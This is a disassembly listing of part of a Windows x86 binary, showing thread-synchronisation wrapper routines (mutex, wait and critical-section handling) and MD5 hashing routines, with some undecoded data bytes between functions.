sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433ED5: ; CODE XREF: ___:00433E97j
; ___:00433EA1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433EEE
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433EEE: ; CODE XREF: ___:00433EDBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F20: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433F65
nop
call near ptr 2740D88h
cmp esi, eax
jz short loc_433F65
push esi
push 0
push 400h
nop
call near ptr 2700000h
test eax, eax
jnz short loc_433F65
call near ptr 27C0849h
nop
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433F65: ; CODE XREF: ___:00433F27j
; ___:00433F31j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F90: ; CODE XREF: ___:00401B5Ej
push 0
nop
call near ptr 2830000h
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433FB0 proc near ; CODE XREF: sub_401C8Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_433FCF
mov edi, 1
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433FCF: ; CODE XREF: sub_433FB0+Aj
push 4
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433FE7
mov edi, 0Ch
loc_433FE7: ; CODE XREF: sub_433FB0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 2740634h
test eax, eax
mov [esi], eax
jnz short loc_434014
mov edi, 1Ch
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434014: ; CODE XREF: sub_433FB0+4Fj
test edi, edi
jz short loc_434026
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434026: ; CODE XREF: sub_433FB0+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_433FB0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434070 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_434095
mov esi, [edi]
test esi, esi
jz short loc_434095
mov dword ptr [edi], 0
mov eax, [esi]
push eax
nop
call near ptr 2830910h
test eax, eax
jnz short loc_4340A7
mov [edi], esi
loc_434095: ; CODE XREF: sub_434070+8j
; sub_434070+Ej
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4340A7: ; CODE XREF: sub_434070+21j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_434070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4340E0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_434113
mov eax, [eax]
test eax, eax
jz short loc_434113
mov eax, [eax]
push 0
push eax
nop
call near ptr 27707F3h
cmp eax, 102h
jnz short loc_434125
mov esi, 0Bh
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434113: ; CODE XREF: sub_4340E0+7j
; sub_4340E0+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434125: ; CODE XREF: sub_4340E0+1Fj
xor eax, eax
pop esi
retn
sub_4340E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434150 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_43417D
mov eax, [eax]
test eax, eax
jz short loc_43417D
mov eax, [eax]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_43417D: ; CODE XREF: sub_434150+7j
; sub_434150+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_434150 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4341C0 proc near ; CODE XREF: sub_4018A7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_4341E3
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4341E3: ; CODE XREF: sub_4341C0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_4341F2
or ebx, 0FFFFFFFFh
jmp short loc_434251
; ---------------------------------------------------------------------------
loc_4341F2: ; CODE XREF: sub_4341C0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
call near ptr 77C49113h
nop
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_434251
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_434251
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_434251
dec ebx
loc_434251: ; CODE XREF: sub_4341C0+30j
; sub_4341C0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D84
sub_4341C0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4342D0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
test eax, eax
jz short loc_4342EF
mov eax, [eax]
push 0
push 1
push eax
call near ptr 27403EDh
nop
test eax, eax
jnz short loc_4342FF
loc_4342EF: ; CODE XREF: sub_4342D0+6j
; sub_4342D0+Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4342FF: ; CODE XREF: sub_4342D0+1Dj
xor eax, eax
retn
sub_4342D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434320 proc near ; CODE XREF: sub_402068j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_434346
mov eax, [eax]
test eax, eax
jz short loc_434346
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_434346
mov eax, [eax]
push 0
push ecx
push eax
nop
call near ptr 27403EDh
test eax, eax
jnz short loc_434356
loc_434346: ; CODE XREF: sub_434320+6j
; sub_434320+Cj ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_434356: ; CODE XREF: sub_434320+24j
xor eax, eax
retn
sub_434320 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434370: ; CODE XREF: ___:0040143Dj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4343BD
mov esi, [eax]
test esi, esi
jz short loc_4343BD
mov edi, [esp+10h]
test edi, edi
jz short loc_4343BD
mov eax, [esi]
push 0
push eax
nop
call near ptr 27707F3h
cmp eax, 102h
jnz short loc_4343A1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343A1: ; CODE XREF: ___:00434398j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
nop
call near ptr 27403EDh
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4343BD: ; CODE XREF: ___:00434378j
; ___:0043437Ej ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4343F0: ; CODE XREF: ___:0040222Fj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434410: ; CODE XREF: ___:00402031j
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434430: ; CODE XREF: ___:00401CC6j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434450 proc near ; CODE XREF: sub_4019A1j
arg_0 = dword ptr 4
push esi
push offset dword_510960
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_434484
push esi
push ecx
call sub_402211
add esp, 8
mov esi, eax
push offset dword_510960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434484: ; CODE XREF: sub_434450+17j
test eax, eax
jnz short loc_43448D
mov esi, 16h
loc_43448D: ; CODE XREF: sub_434450+36j
push offset dword_510960
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_434450 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4344C0 proc near ; CODE XREF: sub_402211j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4344DE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4344DE: ; CODE XREF: sub_4344C0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C3A
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_434519
mov [esp+14h+var_4], 1
loc_4344FB: ; CODE XREF: sub_4344C0+5Ej
; sub_4344C0+63j
push 8
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434530
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434519: ; CODE XREF: sub_4344C0+31j
cmp [esp+14h+var_4], 1
jle short loc_4344FB
cmp ebx, 1
jnz short loc_4344FB
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434530: ; CODE XREF: sub_4344C0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43454D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43454D: ; CODE XREF: sub_4344C0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A1E
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_434583
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_434583
mov dword ptr [esi], 3
loc_434583: ; CODE XREF: sub_4344C0+9Ej
; sub_4344C0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_43459F
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43459F: ; CODE XREF: sub_4344C0+D2j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4344C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434600: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4346A5
mov esi, [edi]
test esi, esi
jz loc_4346A5
cmp esi, 0FFFFFFFFh
jz short loc_434668
cmp dword ptr [esi], 3
jnz short loc_43464D
lea eax, [esi+4]
push eax
call sub_402252
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_43469F
loc_434637: ; CODE XREF: ___:0043465Bj
push esi
mov dword ptr [edi], 0
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43464D: ; CODE XREF: ___:00434623j
push 1
push 0
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 1
jz short loc_434637
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434668: ; CODE XREF: ___:0043461Ej
push offset dword_510960
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43468F
push offset dword_510960
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43468F: ; CODE XREF: ___:00434676j
push offset dword_510960
mov ebx, 10h
nop
call near ptr 7C9010EDh
loc_43469F: ; CODE XREF: ___:00434635j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4346A5: ; CODE XREF: ___:0043460Bj
; ___:00434615j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4346E0: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434741
mov eax, [esi]
test eax, eax
jz short loc_434741
cmp eax, 0FFFFFFFFh
jnz short loc_434701
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434746
loc_434701: ; CODE XREF: ___:004346F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_434723
loc_434713: ; CODE XREF: ___:00434721j
push 1
push 2
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 2
jz short loc_434713
loc_434723: ; CODE XREF: ___:00434711j
mov eax, [esi]
cmp eax, 2
jnz short loc_43472E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43472E: ; CODE XREF: ___:00434728j
cmp eax, 3
jnz short loc_434741
add esi, 4
push esi
call sub_402248
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434741: ; CODE XREF: ___:004346E7j
; ___:004346EDj ...
mov eax, 16h
loc_434746: ; CODE XREF: ___:004346FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434770: ; CODE XREF: ___:00401AB9j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4347B1
mov esi, [eax]
test esi, esi
jz short loc_4347B1
cmp esi, 0FFFFFFFFh
jnz short loc_43478B
loc_434784: ; CODE XREF: ___:00434797j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43478B: ; CODE XREF: ___:00434782j
push 2
push 1
push esi
call dword_5103D8 ; InterlockedCompareExchange
dec eax
jz short loc_434784
dec eax
jz short loc_4347AD
dec eax
jnz short loc_4347B1
add esi, 4
push esi
call sub_4010C3
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347AD: ; CODE XREF: ___:0043479Aj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4347B1: ; CODE XREF: ___:00434777j
; ___:0043477Dj ...
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4347E0: ; CODE XREF: ___:00401942j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_434830
mov eax, [esi]
test eax, eax
jz short loc_434830
cmp eax, 0FFFFFFFFh
jnz short loc_434801
push esi
call sub_4019A1
add esp, 4
test eax, eax
jnz short loc_434835
loc_434801: ; CODE XREF: ___:004347F2j
mov esi, [esi]
push 1
push 2
push esi
call dword_5103D8 ; InterlockedCompareExchange
dec eax
jz short loc_43482C
dec eax
jz short loc_434825
dec eax
jnz short loc_434830
add esi, 4
push esi
call sub_401785
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_434825: ; CODE XREF: ___:00434812j
mov eax, 10h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43482C: ; CODE XREF: ___:0043480Fj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_434830: ; CODE XREF: ___:004347E7j
; ___:004347EDj ...
mov eax, 16h
loc_434835: ; CODE XREF: ___:004347FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_434860: ; CODE XREF: ___:00401244j
push esi
mov esi, [esp+8]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43488C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_434887
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_434887: ; CODE XREF: ___:0043487Ej
xor eax, eax
mov [esi+20h], ecx
loc_43488C: ; CODE XREF: ___:00434872j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4348A0 proc near ; CODE XREF: sub_401767j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_43492C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4348C4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348C4: ; CODE XREF: sub_4348A0+1Bj
push edi
push esi
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_4348DD
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348DD: ; CODE XREF: sub_4348A0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4348ED
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4348ED: ; CODE XREF: sub_4348A0+41j
mov eax, [esi+4]
push eax
call sub_40164A
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 0B6EEE890h, 0C0850230h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43492C: ; CODE XREF: sub_4348A0+12j
pop esi
retn
sub_4348A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434960 proc near ; CODE XREF: sub_401609j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_434985
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_434985: ; CODE XREF: sub_434960+15j
call near ptr 27309CBh
nop
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4349AE
push esi
mov edi, 0Bh
call near ptr 77C2C21Bh
nop
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349AE: ; CODE XREF: sub_434960+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4349CB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4349CB: ; CODE XREF: sub_434960+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_434960 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434A00 proc near ; CODE XREF: sub_401AB4j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_434A90
cmp [ebx+0Ch], ebp
jz short loc_434A6C
cmp [ebx+4], ebp
jz short loc_434A6C
lea eax, [ebx+8]
push eax
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A6C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_434A5F
push edi
loc_434A33: ; CODE XREF: sub_434A00+5Cj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_434A5A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_434A5A: ; CODE XREF: sub_434A00+3Ej
cmp esi, ebp
jnz short loc_434A33
pop edi
loc_434A5F: ; CODE XREF: sub_434A00+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_434A6C: ; CODE XREF: sub_434A00+13j
; sub_434A00+18j ...
mov eax, [ebx]
push eax
nop
call near ptr 2730227h
cmp [ebx+4], ebp
jz short loc_434A86
lea ecx, [ebx+8]
push ecx
call sub_402252
add esp, 4
loc_434A86: ; CODE XREF: sub_434A00+78j
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
loc_434A90: ; CODE XREF: sub_434A00+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_434A00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434AD0 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_5103C4
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_434AF4
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_434B03
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434AF4: ; CODE XREF: sub_434AD0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_434B03
mov eax, ebx
loc_434B03: ; CODE XREF: sub_434AD0+1Aj
; sub_434AD0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_434B65
test eax, eax
jz short loc_434B52
mov ecx, [esi+4]
test ecx, ecx
jz short loc_434B52
test ebx, ebx
jz short loc_434B52
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_434B3D
loc_434B27: ; CODE XREF: sub_434AD0+65j
cmp [ecx+8], esi
jz short loc_434B39
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_434B27
jmp short loc_434B3D
; ---------------------------------------------------------------------------
loc_434B39: ; CODE XREF: sub_434AD0+5Aj
test ecx, ecx
jnz short loc_434B52
loc_434B3D: ; CODE XREF: sub_434AD0+55j
; sub_434AD0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DDE
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_434B65
loc_434B52: ; CODE XREF: sub_434AD0+3Cj
; sub_434AD0+43j ...
mov ecx, [esi]
push ebx
push ecx
nop
call near ptr 275062Eh
test eax, eax
jnz short loc_434B65
mov edi, 0Bh
loc_434B65: ; CODE XREF: sub_434AD0+38j
; sub_434AD0+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_434AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_434BA0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
nop
call near ptr 27C0849h
mov esi, eax
call sub_438250
sub_434BA0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 7AE89051h, 56022EC0h, 0E890D88Bh
dd 22FB438h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_434BF0 proc near ; CODE XREF: sub_401A69j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_434BF0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434C30 proc near ; CODE XREF: sub_401C26j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_434C5B
inc dword ptr [esi+14h]
loc_434C5B: ; CODE XREF: sub_434C30+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_434CB9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_435A30
lea ecx, [esi+18h]
push ecx
push esi
call sub_434DA0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_434CB5
loc_434C99: ; CODE XREF: sub_434C30+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_434DA0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_434C99
loc_434CB5: ; CODE XREF: sub_434C30+67j
xor eax, eax
jmp short loc_434CBB
; ---------------------------------------------------------------------------
loc_434CB9: ; CODE XREF: sub_434C30+41j
xor ebp, ebp
loc_434CBB: ; CODE XREF: sub_434C30+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_435A30
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_434C30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434D10 proc near ; CODE XREF: sub_402176j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
